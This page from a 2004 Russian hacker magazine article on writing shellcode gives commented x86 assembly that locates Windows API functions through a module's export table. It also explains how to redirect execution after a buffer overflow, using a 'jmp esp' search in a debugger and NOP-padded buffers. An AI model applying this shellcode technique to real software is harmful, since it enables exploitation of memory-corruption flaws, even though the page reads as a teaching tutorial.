Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #45, АВГУСТ 2004 г.

Пишем shell-код!

Коваленко Дмитрий aka Ingrem

Спецвыпуск Xakep, номер #045, стр. 045-014-3


mov ebx, [ebx] ; заносим в ebx смещение таблицы экспорта

add ebx, eax ; коррекция на стаб

mov edx, [ebx+20h]; смещение таблицы имен

add edx, eax; коррекция смещения на стаб

push ebx ; запомним указатель на таблицу экспорта

xor ebx, ebx; ebx теперь стал счетчиком

Теперь у нас есть указатель на таблицу имен.

Поиск нужного имени организуем следующим образом:

Листинг

getapi2k_4:

push esi ; сохраняем в стеке регистры, которые будут

push ecx; изменятся при сравнении строк (esi содержит имя

; нужной нам функции, ecx – ее длину)

mov edi, [edx] ; смещение очередного имени API-функции

add edi, eax; коррекция смещения на стаб

repe cmpsb; сравнение

je getapi2k_3; нашли!

pop ecx; не нашли – восстанавливаем регистры

pop esi

add edx, 4; в edx – следующий элемент таблицы имен

inc ebx ; увеличить счетчик и на новый виток цикла

jmp short getapi2k_4

Сейчас в ebx располагается индекс имени нужной API в таблице имен. Дальше делаем так:

Листинг

getapi2k_3:

pop ecx; сбалансируем стек – вытолкнем из него esi и ecx,

pop ecx; сохраненные во время сравнения строк

pop ecx; последний pop заносит в ecx адрес таблицы экспорта

; (помните? мы его сохранили на стеке)

shl ebx, 1; умножаем ebx на 2, это нам будет нужно в дальнейшем

mov edx, [ecx+24h] ; заносим в edx адрес таблицы ординалов

add edx, eax; корректируем его

add edx, ebx; добавляем к нему смещение в ebx – получаем адрес

; номера API в таблице адресов

mov edx, [edx]; заносим в edx номер API в таблице адресов

and edx, 0FFFFh; (поскольку номер API – это WORD, обнулим старшее слово edx)

В edx – номер в таблице адресов, в eax – адрес DOS стаба, в ecx – адрес export table. А вот теперь можем найти адрес интересующей нас API ;-):

Листинг

mov ebx, [ecx+1Ch]; заносим в ecx смещение таблицы адресов

add ebx, eax; коррекция на стаб

shl edx, 2; находим смещение адреса API в таблице адресов

; (множим edx на 4)

add ebx, edx; находим этот адрес

mov edx, [ebx] ; читаем его в ebx

add edx, eax; коррекция на стаб

ret; все!

getapi2k endp

Как видим, все это довольно сложно. Но, увы, такова специфика переносимого кода.

Особенности передачи управления: большой буфер с nop'ами

Поехали дальше. Допустим, мы можем подменить адрес возврата на свой или переписать указатель на какую-то функцию, которую вот-вот вызовут. Ну, а что дальше? Куда передать управление – какой адрес записать вместо настоящего? В качестве одного из вариантов довольно часто управление передают на инструкцию jmp esp, которую в процессе написания shell-кода находят либо в коде приложения, либо в какой-то системной библиотеке, загруженной в его адресное пространство. Как правило, сам поиск производят с помощью команды s отладчика Soft-Ice:

s 10000000 L FFFFFFFF ff e4 ; (ff e4 – код инструкции)

Это традиционный способ передачи управления на shell-код, и никаких трудностей здесь не возникает. Но в некоторых случаях при написании shell-кода управление выгодно передать какому-то другому коду, например jmp eax, где eax может указывать не на начало буфера, а выше – в середину или вообще в область памяти позади него :(. Что же делать в этом случае? Решение довольно простое: нужно погонять код уязвимой процедуры под отладкой в различных условиях и выяснить хотя бы пределы, в которых изменяется eax.

Назад на стр. 045-014-2  Содержание  Вперед на стр. 045-014-4